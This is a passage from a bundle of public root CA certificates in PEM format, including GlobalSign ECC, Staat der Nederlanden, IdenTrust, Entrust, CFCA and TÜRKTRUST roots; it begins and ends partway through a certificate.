VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2 0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu 9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg= -----END CERTIFICATE----- GlobalSign ECC Root CA - R4 =========================== -----BEGIN CERTIFICATE----- MIIB4TCCAYegAwIBAgIRKjikHJYKBN5CsiilC+g0mAIwCgYIKoZIzj0EAwIwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEuMZ5049sJQ6fLjkZHAOkrprl OQcJFspjsbmG+IpXwVfOQvpzofdlQv8ewQCybnMO/8ch5RikqtlxP6jUuc6MHaNCMEAwDgYDVR0P AQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFFSwe61FuOJAf/sKbvu+M8k8o4TV MAoGCCqGSM49BAMCA0gAMEUCIQDckqGgE6bPA7DmxCGXkPoUVy0D7O48027KqGx2vKLeuwIgJ6iF JzWbVsaj8kfSt24bAgAXqmemFZHe+pTsewv4n4Q= -----END CERTIFICATE----- GlobalSign ECC Root CA - R5 =========================== -----BEGIN CERTIFICATE----- MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6 SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7 yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3 -----END CERTIFICATE----- Staat der Nederlanden Root CA - G3 ================================== -----BEGIN CERTIFICATE----- MIIFdDCCA1ygAwIBAgIEAJiiOTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQSAtIEczMB4XDTEzMTExNDExMjg0MloXDTI4MTExMzIzMDAwMFowWjELMAkGA1UEBhMC TkwxHjAcBgNVBAoMFVN0YWF0IGRlciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5l ZGVybGFuZGVuIFJvb3QgQ0EgLSBHMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL4y olQPcPssXFnrbMSkUeiFKrPMSjTysF/zDsccPVMeiAho2G89rcKezIJnByeHaHE6n3WWIkYFsO2t x1ueKt6c/DrGlaf1F2cY5y9JCAxcz+bMNO14+1Cx3Gsy8KL+tjzk7FqXxz8ecAgwoNzFs21v0IJy EavSgWhZghe3eJJg+szeP4TrjTgzkApyI/o1zCZxMdFyKJLZWyNtZrVtB0LrpjPOktvA9mxjeM3K Tj215VKb8b475lRgsGYeCasH/lSJEULR9yS6YHgamPfJEf0WwTUaVHXvQ9Plrk7O53vDxk5hUUur mkVLoR9BvUhTFXFkC4az5S6+zqQbwSmEorXLCCN2QyIkHxcE1G6cxvx/K2Ya7Irl1s9N9WMJtxU5 1nus6+N86U78dULI7ViVDAZCopz35HCz33JvWjdAidiFpNfxC95DGdRKWCyMijmev4SH8RY7Ngzp 07TKbBlBUgmhHbBqv4LvcFEhMtwFdozL92TkA1CvjJFnq8Xy7ljY3r735zHPbMk7ccHViLVlvMDo FxcHErVc0qsgk7TmgoNwNsXNo42ti+yjwUOH5kPiNL6VizXtBznaqB16nzaeErAMZRKQFWDZJkBE 41ZgpRDUajz9QdwOWke275dhdU/Z/seyHdTtXUmzqWrLZoQT1Vyg3N9udwbRcXXIV2+vD3dbAgMB AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRUrfrHkleu yjWcLhL75LpdINyUVzANBgkqhkiG9w0BAQsFAAOCAgEAMJmdBTLIXg47mAE6iqTnB/d6+Oea31BD U5cqPco8R5gu4RV78ZLzYdqQJRZlwJ9UXQ4DO1t3ApyEtg2YXzTdO2PCwyiBwpwpLiniyMMB8jPq KqrMCQj3ZWfGzd/TtiunvczRDnBfuCPRy5FOCvTIeuXZYzbB1N/8Ipf3YF3qKS9Ysr1YvY2WTxB1 v0h7PVGHoTx0IsL8B3+A3MSs/mrBcDCw6Y5p4ixpgZQJut3+TcCDjJRYwEYgr5wfAvg1VUkvRtTA 8KCWAg8zxXHzniN9lLf9OtMJgwYh/WA9rjLA0u6NpvDntIJ8CsxwyXmA+P5M9zWEGYox+wrZ13+b 8KKaa8MFSu1BYBQw0aoRQm7TIwIEC8Zl3d1Sd9qBa7Ko+gE4uZbqKmxnl4mUnrzhVNXkanjvSr0r mj1AfsbAddJu+2gw7OyLnflJNZoaLNmzlTnVHpL3prllL+U9bTpITAjc5CgSKL59NVzq4BZ+Extq 1z7XnvwtdbLBFNUjA9tbbws+eC8N3jONFrdI54OagQ97wUNNVQQXOEpR1VmiiXTTn74eS9fGbbeI JG9gkaSChVtWQbzQRKtqE77RLFi3EjNYsjdj3BP1lB0/QFH1T/U67cjF68IeHRaVesd+QnGTbksV tzDfqu1XhUisHWrdOWnk4Xl4vs4Fv6EM94B7IWcnMFk= -----END CERTIFICATE----- Staat der Nederlanden EV Root CA ================================ -----BEGIN CERTIFICATE----- MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFhdCBkZXIgTmVkZXJsYW5kZW4g RVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0yMjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5M MR4wHAYDVQQKDBVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRl cmxhbmRlbiBFViBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkk SzrSM4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nCUiY4iKTW O0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3dZ//BYY1jTw+bbRcwJu+r 0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46prfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8 Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13lpJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gV XJrm0w912fxBmJc+qiXbj5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr 08C+eKxCKFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS/ZbV 0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0XcgOPvZuM5l5Tnrmd 74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH1vI4gnPah1vlPNOePqc7nvQDs/nx fRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrPpx9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwa ivsnuL8wbqg7MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u2dfOWBfoqSmu c0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHSv4ilf0X8rLiltTMMgsT7B/Zq 5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTCwPTxGfARKbalGAKb12NMcIxHowNDXLldRqAN b/9Zjr7dn3LDWyvfjFvO5QxGbJKyCqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tN f1zuacpzEPuKqf2evTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi 5Dp6Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIaGl6I6lD4 WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeLeG9QgkRQP2YGiqtDhFZK DyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGy eUN51q1veieQA6TqJIc/2b3Z6fJfUEkc7uzXLg== -----END CERTIFICATE----- IdenTrust Commercial Root CA 1 ============================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/ mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi 1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl 3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH 6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe 2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R cGzM7vRX+Bi6hG6H -----END CERTIFICATE----- IdenTrust Public Sector Root CA 1 ================================= -----BEGIN CERTIFICATE----- MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6 Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL 4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4 Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ 3Wl9af0AVqW3rLatt8o+Ae+c -----END CERTIFICATE----- Entrust Root Certification Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP /vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6 0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+ vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO e4pIb4tF9g== -----END CERTIFICATE----- Entrust Root Certification Authority - EC1 ========================================== -----BEGIN CERTIFICATE----- MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5 IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef 9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8 kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G -----END CERTIFICATE----- CFCA EV ROOT ============ -----BEGIN CERTIFICATE----- MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD 7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7 xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB /wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua 4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su -----END CERTIFICATE----- TÜRKTRUST Elektronik Sertifika Hizmet Sağlayıcısı H5 ========================================================= -----BEGIN CERTIFICATE----- MIIEJzCCAw+gAwIBAgIHAI4X/iQggTANBgkqhkiG9w0BAQsFADCBsTELMAkGA1UEBhMCVFIxDzAN BgNVBAcMBkFua2FyYTFNMEsGA1UECgxEVMOcUktUUlVTVCBCaWxnaSDEsGxldGnFn2ltIHZlIEJp bGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7Fni4xQjBABgNVBAMMOVTDnFJLVFJVU1Qg RWxla3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSBINTAeFw0xMzA0MzAw ODA3MDFaFw0yMzA0MjgwODA3MDFaMIGxMQswCQYDVQQGEwJUUjEPMA0GA1UEBwwGQW5rYXJhMU0w SwYDVQQKDERUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnE n2kgSGl6bWV0bGVyaSBBLsWeLjFCMEAGA1UEAww5VMOcUktUUlVTVCBFbGVrdHJvbmlrIFNlcnRp ZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIEg1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEApCUZ4WWe60ghUEoI5RHwWrom/4NZzkQqL/7hzmAD/I0Dpe3/a6i6zDQGn1k19uwsu537 jVJp45wnEFPzpALFp/kRGml1bsMdi9GYjZOHp3GXDSHHmflS0yxjXVW86B8BSLlg/kJK9siArs1m ep5Fimh34khon6La8eHBEJ/rPCmBp+EyCNSgBbGM+42WAA4+Jd9ThiI7/PS98wl+d+yG6w8z5UNP 9FR1bSmZLmZaQ9/LXMrI5Tjxfjs1nQ/0xVqhzPMggCTTV+wVunUlm+hkS7M0hO8EuPbJbKoCPrZV 4jI3X/xml1/N1p7HIL9Nxqw/dV8c7TKcfGkAaZHjIxhT6QIDAQABo0IwQDAdBgNVHQ4EFgQUVpkH HtOsDGlktAxQR95DLL4gwPswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZI hvcNAQELBQADggEBAJ5FdnsXSDLyOIspve6WSk6BGLFRRyDN0GSxDsnZAdkJzsiZ3GglE9Rc8qPo BP5yCccLqh0lVX6Wmle3usURehnmp349hQ71+S4pL+f5bFgWV1Al9j4uPqrtd3GqqpmWRgqujuwq URawXs3qZwQcWDD1YIq9pr1N5Za0/EKJAWv2cMhQOQwt1WbZyNKzMrcbGW3LM/nfpeYVhDfwwvJl 